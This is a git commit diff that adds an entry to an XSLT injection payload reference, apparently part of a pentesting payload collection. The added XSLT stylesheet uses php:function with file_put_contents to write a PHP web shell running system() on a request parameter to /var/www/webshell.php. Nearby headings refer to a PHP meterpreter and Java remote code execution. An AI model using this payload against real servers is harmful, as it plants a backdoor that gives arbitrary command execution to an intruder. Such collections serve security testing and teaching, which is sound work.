Update README.md (XSLT Injection)

Added Execute a remote php file using `file_put_contents`
This commit is contained in:
idealphase 2023-10-28 19:47:25 +07:00 committed by GitHub
parent 3ad350b753
commit 85310ba8e5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -161,6 +161,16 @@ Execute a PHP meterpreter using PHP wrapper.
</xsl:stylesheet>
```
Execute a remote php file using `file_put_contents`
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','&lt;?php echo system($_GET[&quot;command&quot;]); ?&gt;')" />
</xsl:template>
</xsl:stylesheet>
```
### Remote Code Execution with Java
```xml